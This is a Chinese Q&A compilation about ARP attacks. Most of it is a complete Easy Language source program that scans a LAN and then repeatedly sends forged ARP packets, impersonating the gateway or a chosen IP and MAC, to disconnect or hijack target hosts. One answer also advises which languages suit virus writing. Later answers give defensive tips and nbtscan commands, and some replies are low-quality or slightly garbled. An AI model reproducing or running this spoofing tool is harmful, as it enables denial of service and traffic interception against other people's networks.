arp攻击源码
㈠ 如何在linux下进行arp欺骗攻击实验
arpspoof,有这个就可以了 你可以下载它的源码包看,开源的,用的是libnet,libpcap库,属于dsniff包中的一个组成部分
㈡ 易语言实现ARP欺骗后怎么实现接收ARP包
模块用精易模块3.41
.版本 2
.支持库 ERawSock
.支持库 eAPI
.支持库 HtmlView
.支持库 spec
.支持库 iext
.支持库 EThread
.程序集 窗口程序集1
.程序集变量 ARP, ARP协议
.程序集变量 网卡信息, 网卡信息, , "0"
.程序集变量 _知, bei
.程序集变量 线程池, 类_线程池
.程序集变量 全_计数, 整数型
.子程序 _DLL_局域网_创建完毕
.局部变量 局_计次, 整数型
网卡信息 = 取网卡信息列表 ()
.计次循环首 (取数组成员数 (网卡信息), 局_计次)
组合框1.加入项目 (网卡信息 [局_计次].网卡名称, )
.计次循环尾 ()
组合框1.现行选中项 = 0
_组合框1_列表项被选择 ()
编辑框1.内容 = 取IP地址 (取主机名 ())
_知.是否继续 = 假
ARP.打开网络适配器 (组合框1.现行选中项 + 1)
ARP.配置网络适配器 (2, 1024, 200)
超文本浏览框1. = 真
.子程序 _端口扫描_被选择
调用子程序 (全_交互.扫描内存地址, , , 超级列表框1.取标题 (超级列表框1.现行选中项, 0))
.子程序 _超级列表框1_右键单击表项
弹出菜单 (接口局域网菜单, , )
.子程序 _按钮_探测主机_被单击
.局部变量 局_计次, 整数型
.局部变量 重组IP, 文本型, , "4"
.计次循环首 (超级列表框1.取表项数 (), 局_计次)
.如果真 (到整数 (超级列表框1.取标题 (局_计次 - 1, 3)) ≠ 0)
线程_销毁 (到整数 (超级列表框1.取标题 (局_计次 - 1, 3)))
.如果真结束
系统_处理事件 ()
.计次循环尾 ()
.判断开始 (按钮_探测主机.标题 = “探测内网主机”)
重组IP = 分割文本 (删首尾空 (编辑框1.内容), “.”, 4)
.如果真 (取数组成员数 (重组IP) = 4)
_知.IP = 重组IP [1] + “.” + 重组IP [2] + “.” + 重组IP [3] + “.”
' 获得IP
超级列表框1.全部删除 ()
按钮_探测主机.禁止 = 真
全_计数 = 0
_知.MAC地址 = “”
.判断开始 (组合框2.现行选中项 = 0)
.判断开始 (线程池.启动 (到整数 (编辑框2.内容), &获取MAC, 0))
_知.许可证 = 创建进入许可证 ()
.计次循环首 (225, 局_计次)
.如果真 (线程池.加入工作 (局_计次))
程序_延时 (10, )
.如果真结束
系统_处理事件 ()
.计次循环尾 ()
按钮_探测主机.标题 = “停止”
按钮_探测主机.禁止 = 假
.默认
按钮_探测主机.禁止 = 假
.判断结束
.默认
.判断开始 (线程池.启动 (到整数 (编辑框2.内容), &Ping探测, 0))
.计次循环首 (225, 局_计次)
线程池.加入工作 (局_计次)
系统_处理事件 ()
.计次循环尾 ()
按钮_探测主机.标题 = “停止”
按钮_探测主机.禁止 = 假
.默认
按钮_探测主机.禁止 = 假
.判断结束
.判断结束
.如果真结束
.默认
启动线程 (&探测停止, , )
.判断结束
.子程序 _ARP欺骗启用_被选择
.局部变量 局_句柄, 整数型
.判断开始 (超级列表框1.现行选中项 ≠ -1)
_知.是否继续 = 真
局_句柄 = 线程_启动 (&ARP欺骗, , )
超级列表框1.置标题 (超级列表框1.现行选中项, 3, 到文本 (局_句柄))
超级列表框1.置标题 (超级列表框1.现行选中项, 2, “断开”)
调用子程序 (全_交互.状态条地址, , , “ARP欺骗启用...”)
.默认
鸣叫 ()
调用子程序 (全_交互.状态条地址, , , “当前未选中欺骗对象!”)
.判断结束
' 本源码来自易语言资源网(www.5A5X.com)
.子程序 _ARP欺骗停止_被选择
.如果 (线程_销毁 (到整数 (超级列表框1.取标题 (超级列表框1.现行选中项, 3))))
超级列表框1.置标题 (超级列表框1.现行选中项, 3, “”)
超级列表框1.置标题 (超级列表框1.现行选中项, 2, “恢复”)
调用子程序 (全_交互.状态条地址, , , “ARP欺骗已停止..”)
.否则
.如果结束
.子程序 随机MAC, 文本型
.局部变量 i, 整数型
.局部变量 M, 文本型, , "6"
.计次循环首 (6, i)
置随机数种子 ()
置随机数种子 (取随机数 (, ) + 取启动时间 () + i)
M [i] = 取文本右边 (“00” + 取十六进制文本 (取随机数 (0, 255)), 2)
.计次循环尾 ()
返回 (M [1] + “-” + M [2] + “-” + M [3] + “-” + M [4] + “-” + M [5] + “-” + M [6])
.子程序 获取MAC
.参数 参_IP尾, 整数型
.局部变量 缓冲, 字节型, , "6"
.局部变量 I, 整数型
.局部变量 局_MAC, 文本型
.局部变量 当前IP, 整数型
当前IP = API_inet_addr (_知.IP + 到文本 (参_IP尾))
.如果真 (API_SendARP (当前IP, 0, 缓冲, 6) = 0)
.计次循环首 (6, I)
局_MAC = 局_MAC + 取文本右边 (“00” + 取十六进制文本 (缓冲 [I]), 2) + “-”
系统_处理事件 ()
.计次循环尾 ()
.如果真结束
局_MAC = 取文本左边 (局_MAC, 17)
' 本源码来自易语言资源网(www.5A5X.com)
.判断开始 (局_MAC ≠ “”)
进入许可区 (_知.许可证)
_知.MAC地址 = 局_MAC
标签2.调用反馈事件 (参_IP尾, , 真)
退出许可区 (_知.许可证)
.默认
.判断结束
.判断开始 (全_计数 ≥ 224)
启动线程 (&探测停止, , )
.默认
进入许可区 (_知.许可证)
全_计数 = 全_计数 + 1
调用子程序 (全_交互.状态条地址, , , “线程已扫描:” + 到文本 (全_计数))
退出许可区 (_知.许可证)
.判断结束
.子程序 探测停止
按钮_探测主机.禁止 = 真
.如果真 (线程池.取状态 ())
线程池.关闭 ()
.如果真结束
按钮_探测主机.标题 = “探测内网主机”
按钮_探测主机.禁止 = 假
删除进入许可证 (_知.许可证)
调用子程序 (全_交互.状态条地址, , , “ARP扫描已停止..”)
.子程序 ARP欺骗
.局部变量 arp头, ARP头
.局部变量 局_MAC, 文本型
.局部变量 以太网头, 以太网头
局_MAC = 随机MAC ()
arp头.操作类型 = #ARP常量.ARP请求
.如果真 (取数组成员数 (网卡信息) ≥ 组合框1.现行选中项 + 1)
arp头.发送端IP地址 = 网卡信息 [组合框1.现行选中项 + 1].默认网关
.如果真结束
arp头.发送端以太网地址 = 局_MAC
arp头.目的IP地址 = 超级列表框1.取标题 (超级列表框1.现行选中项, 0)
arp头.目的以太网地址 = 超级列表框1.取标题 (超级列表框1.现行选中项, 1)
ARP.构造ARP头 (arp头)
以太网头.以太网源地址 = 局_MAC
以太网头.以太网目的地址 = 超级列表框1.取标题 (超级列表框1.现行选中项, 1)
ARP.构造以太网头 (以太网头)
.判断循环首 (_知.是否继续)
ARP.发送 (1)
系统_处理事件 ()
.判断循环尾 ()
.子程序 _DLL_局域网_将被销毁
DLL_局域网.可视 = 假
ARP.关闭网络适配器 ()
.如果真 (按钮_探测主机.标题 = “停止”)
探测停止 ()
.如果真结束
.子程序 Ping探测
.参数 参_IP尾, 整数型
.局部变量 重组后IP, 文本型
.局部变量 缓冲, 字节型, , "6"
.局部变量 局_I, 整数型
.局部变量 局_MAC, 文本型
.局部变量 当前IP, 整数型
重组后IP = _知.IP + 到文本 (参_IP尾)
.如果真 (通信测试 (重组后IP, 4000) ≠ -1)
当前IP = API_inet_addr (_知.IP + 到文本 (参_IP尾))
.如果真 (API_SendARP (当前IP, 0, 缓冲, 6) = 0)
.计次循环首 (6, 局_I)
局_MAC = 局_MAC + 取文本右边 (“00” + 取十六进制文本 (缓冲 [局_I]), 2) + “-”
.计次循环尾 ()
.如果真结束
局_MAC = 取文本左边 (局_MAC, 17)
进入许可区 (_知.许可证)
.如果 (局_MAC ≠ “”)
_知.MAC地址 = 局_MAC
.否则
_知.MAC地址 = “无!”
.如果结束
标签2.调用反馈事件 (参_IP尾, , 真)
退出许可区 (_知.许可证)
.如果真结束
.判断开始 (全_计数 ≥ 224)
启动线程 (&探测停止, , )
.默认
进入许可区 (_知.许可证)
全_计数 = 全_计数 + 1
调用子程序 (全_交互.状态条地址, , , “已探测线程数:” + 到文本 (参_IP尾))
退出许可区 (_知.许可证)
.判断结束
.子程序 _标签2_反馈事件, 整数型
.参数 参数一, 整数型
.参数 参数二, 整数型
.局部变量 局_索引, 整数型
局_索引 = 超级列表框1.插入表项 (-1, , , , , )
超级列表框1.置标题 (局_索引, 0, _知.IP + 到文本 (参数一))
超级列表框1.置标题 (局_索引, 1, _知.MAC地址)
.子程序 _组合框1_列表项被选择
.局部变量 局_序号, 整数型
局_序号 = 组合框1.现行选中项 + 1
编辑框4.内容 = “”
.如果真 (取数组成员数 (网卡信息) ≥ 局_序号)
编辑框4.加入文本 (“序号:” + 到文本 (网卡信息 [局_序号].序号) + #换行符)
编辑框4.加入文本 (“网卡名称:” + 网卡信息 [局_序号].网卡名称 + #换行符)
编辑框4.加入文本 (“IP地址:” + 网卡信息 [局_序号].IP地址 + #换行符)
编辑框4.加入文本 (“物理地址:” + 网卡信息 [局_序号].物理地址 + #换行符)
编辑框4.加入文本 (“子网掩码:” + 网卡信息 [局_序号].子网掩码 + #换行符)
编辑框4.加入文本 (“默认网关:” + 网卡信息 [局_序号].默认网关 + #换行符)
编辑框4.加入文本 (“Wins服务器地址:” + 网卡信息 [局_序号].Wins服务器地址 + #换行符)
编辑框4.加入文本 (“DHCP服务器地址:” + 网卡信息 [局_序号].DHCP服务器地址 + #换行符)
.如果真结束
.子程序 _按钮_启用网卡_被单击
.判断开始 (ARP.打开网络适配器 (组合框1.现行选中项 + 1))
.判断开始 (ARP.配置网络适配器 (2, 1024, 200))
调用子程序 (全_交互.状态条地址, , , “网卡” + 到文本 (组合框1.现行选中项 + 1) + “启用成功..”)
.默认
调用子程序 (全_交互.状态条地址, , , “网卡” + 到文本 (组合框1.现行选中项 + 1) + “启用失败..”)
.判断结束
.默认
调用子程序 (全_交互.状态条地址, , , “网卡” + 到文本 (组合框1.现行选中项 + 1) + “打开失败..”)
.判断结束
.子程序 _按钮_自定义欺骗_被单击
.判断开始 (按钮_自定义欺骗.标题 = “欺骗”)
_知.自定义ARP是否继续 = 真
.如果真 (启动线程 (&自定义ARP, , ))
按钮_自定义欺骗.标题 = “恢复”
调用子程序 (全_交互.状态条地址, , , “自定义ARP攻击已开启..”)
.如果真结束
.默认
_知.自定义ARP是否继续 = 假
按钮_自定义欺骗.标题 = “欺骗”
调用子程序 (全_交互.状态条地址, , , “自定义ARP攻击已关闭..”)
.判断结束
.子程序 自定义ARP
.局部变量 arp头, ARP头
.局部变量 重组IP, 文本型, , "4"
.局部变量 重组后IP, 文本型
.局部变量 以太网头, 以太网头
.局部变量 缓冲, 字节型, , "6"
.局部变量 I, 整数型
.局部变量 局_MAC, 文本型
.局部变量 当前IP, 整数型
当前IP = API_inet_addr (编辑框_目标IP.内容)
.如果真 (API_SendARP (当前IP, 0, 缓冲, 6) = 0)
.计次循环首 (6, I)
局_MAC = 局_MAC + 取文本右边 (“00” + 取十六进制文本 (缓冲 [I]), 2) + “-”
系统_处理事件 ()
.计次循环尾 ()
.如果真结束
局_MAC = 取文本左边 (局_MAC, 17)
.判断开始 (局_MAC ≠ “”)
编辑框_目标MAC.内容 = 局_MAC
.默认
局_MAC = 编辑框_目标MAC.内容
.判断结束
arp头.操作类型 = #ARP常量.ARP请求
arp头.发送端IP地址 = 编辑框_伪造IP.内容
arp头.发送端以太网地址 = 编辑框_伪造MAC.内容
arp头.目的IP地址 = 编辑框_目标IP.内容
arp头.目的以太网地址 = 局_MAC
ARP.构造ARP头 (arp头)
以太网头.以太网源地址 = 随机MAC ()
以太网头.以太网目的地址 = 局_MAC
ARP.构造以太网头 (以太网头)
.判断循环首 (_知.自定义ARP是否继续)
ARP.发送 (1)
系统_处理事件 ()
.判断循环尾 ()
㈢ 求ARP防火墙的源代码,学习用,最好是C#的
如果你要学习,Coding就自己练习写一下;如果你是要用,网上大有很多厉害的防火墙可以使用。
bye bye
㈣ 怎么查不到ARP木马病毒源(如解决重谢)
查不到ARP木马病毒源僦别查吧~浪费时间~
查不到僦防护囖~呵呵
对ARP攻击的防护
防止ARP攻击是比较困难的,修改协议也是不大可能。但是有一些工作是可以提高本地网络的安全性。
首先,你要知道,如果一个错误的记录被插入ARP或者IP route表,可以用两种方式来删除。
a. 使用arp –d host_entry
b. 自动过期,由系统删除
这样,可以采用以下的一些方法:
1). 减少过期时间
#ndd –set /dev/arp arp_cleanup_interval 60000
#ndd -set /dev/ip ip_ire_flush_interval 60000
60000=60000毫秒 默认是300000
加快过期时间,并不能避免攻击,但是使得攻击更加困难,带来的影响是在网络中会大量的出现ARP请求和回复,请不要在繁忙的网络上使用。
2). 建立静态ARP表
这是一种很有效的方法,而且对系统影响不大。缺点是破坏了动态ARP协议。可以建立如下的文件。
test.nsfocus.com 08:00:20:ba:a1:f2
user. nsfocus.com 08:00:20:ee:de:1f
使用arp –f filename加载进去,这样的ARP映射将不会过期和被新的ARP数据刷新,除非使用arp –d才能删除。但是一旦合法主机的网卡硬件地址改变,就必须手工刷新这个arp文件。这个方法,不适合于经常变动的网络环境。
3).禁止ARP
可以通过ifconfig interface –arp 完全禁止ARP,这样,网卡不会发送ARP和接受ARP包。但是使用前提是使用静态的ARP表,如果不在apr表中的计算机 ,将不能通信。这个方法不适用与大多数网络环境,因为这增加了网络管理的成本。但是对小规模的安全网络来说,还是有效可行的
㈤ windows下的 arp攻击及预防 源代码
我不会,但是肯定不会用Java写,最好也不用C#写...
Java是平台无关的,也就是说它不能直接调用Windows下的API(除非用极其繁琐的JNI).
C#和Java一样是解释性语言,虽然能调Win32 Api,但是绝对不如直接写C得心应手! 而且如果用C#写,如果人家没装.Net Framework,根本跑不了,别提什么攻击了.
总之,千万别用解释性语言写病毒! 在windows下实现攻击程序,建议用C++/Delphi.
希望有所帮助.
㈥ arp病毒源代码
ARP防火墙http://www.360.cn/
ARP免疫工具:http://dl.bitscn.com/system/200705/102898.html
ARP实战攻略:http://www.aspinfo.cn/article/netsafe/vsafe/63872.html
还可以到360网络求助,有专业人士为你解决:http://ke.360.cn/
希望帮到你...
㈦ 测试在LINUX下是否有ARP攻击,测试在LINUX下是否有ARP攻击
arpspoof,有这个就可以了 你可以下载它的源码包看,开源的,用的是libnet,libpcap库,属于dsniff包中的一个组成部分
㈧ 如何找到ARP攻击源!!!
1.定位ARP攻击源头
主动定位方式:因为所有的ARP攻击源都会有其特征——网卡会处于混杂模式,可以通过ARPKiller这样的工具扫描网内有哪台机器的网卡是处于混杂模式的,从而判断这台机器有可能就是“元兇”。定位好机器后,再做病毒信息收集,提交给趋势科技做分析处理。
标注:网卡可以置于一种模式叫混杂模式(promiscuous),在这种模式下工作的网卡能够收到一切通过它的数据,而不管实际上数据的目的地址是不是它。这实际就是Sniffer工作的基本原理:让网卡接收一切它所能接收的数据。
被动定位方式:在局域网发生ARP攻击时,查看交换机的动态ARP表中的内容,确定攻击源的MAC地址;也可以在局域居于网中部署Sniffer工具,定位ARP攻击源的MAC。
也可以直接Ping网关IP,完成Ping后,用ARP –a查看网关IP对应的MAC地址,此MAC地址应该为欺骗的,使用NBTSCAN可以取到PC的真实IP地址、机器名和MAC地址,如果有”ARP攻 击”在做怪,可以找到装有ARP攻击的PC的IP、机器名和MAC地址。
命令:“nbtscan -r 192.168.16.0/24”(搜索整个192.168.16.0/24网段, 即192.168.16.1-192.168.16.254);或“nbtscan 192.168.16.25-137”搜索192.168.16.25-137 网段,即192.168.16.25-192.168.16.137。输出结果第一列是IP地址,最后一列是MAC地址。NBTSCAN的使用范例:
假设查找一台MAC地址为“000d870d585f”的病毒主机。
1)将压缩包中的nbtscan.exe 和cygwin1.dll解压缩放到c:下。
2)在Windows开始—运行—打开,输入cmd(windows98输入“command”),在出现的DOS窗口中输入:C: btscan -r 192.168.16.1/24(这里需要根据用户实际网段输入),回车。
3)通过查询IP–MAC对应表,查出“000d870d585f”的病毒主机的IP地址为“192.168.16.223”。
通过上述方法,我们就能够快速的找到病毒源,确认其MAC——〉机器名和IP地址。
2.防御方法
a.使用可防御ARP攻击的三层交换机,绑定端口-MAC-IP,限制ARP流量,及时发现并自动阻断ARP攻击端口,合理划分VLAN,彻底阻止盗用IP、MAC地址,杜绝ARP的攻击。
b.对于经常爆发病毒的网络,进行Internet访问控制,限制用户对网络的访问。此类ARP攻击程序一般都是从Internet下载到用户终端,如果能够加强用户上网的访问控制,就能极大的减少该问题的发生。
c.在发生ARP攻击时,及时找到病毒攻击源头,并收集病毒信息,可以使用趋势科技的SIC2.0,同时收集可疑的病毒样本文件,一起提交到趋势科技的TrendLabs进行分析,TrendLabs将以最快的速度提供病毒码文件,从而可以进行ARP病毒的防御。
㈨ C语言ARP攻击源代码
输入arp-d
㈩ 哪里有arp病毒的源代码吗本人教学用多谢
可以去卡巴的论坛里问,有般杀掉病毒,都是知道它的源代码的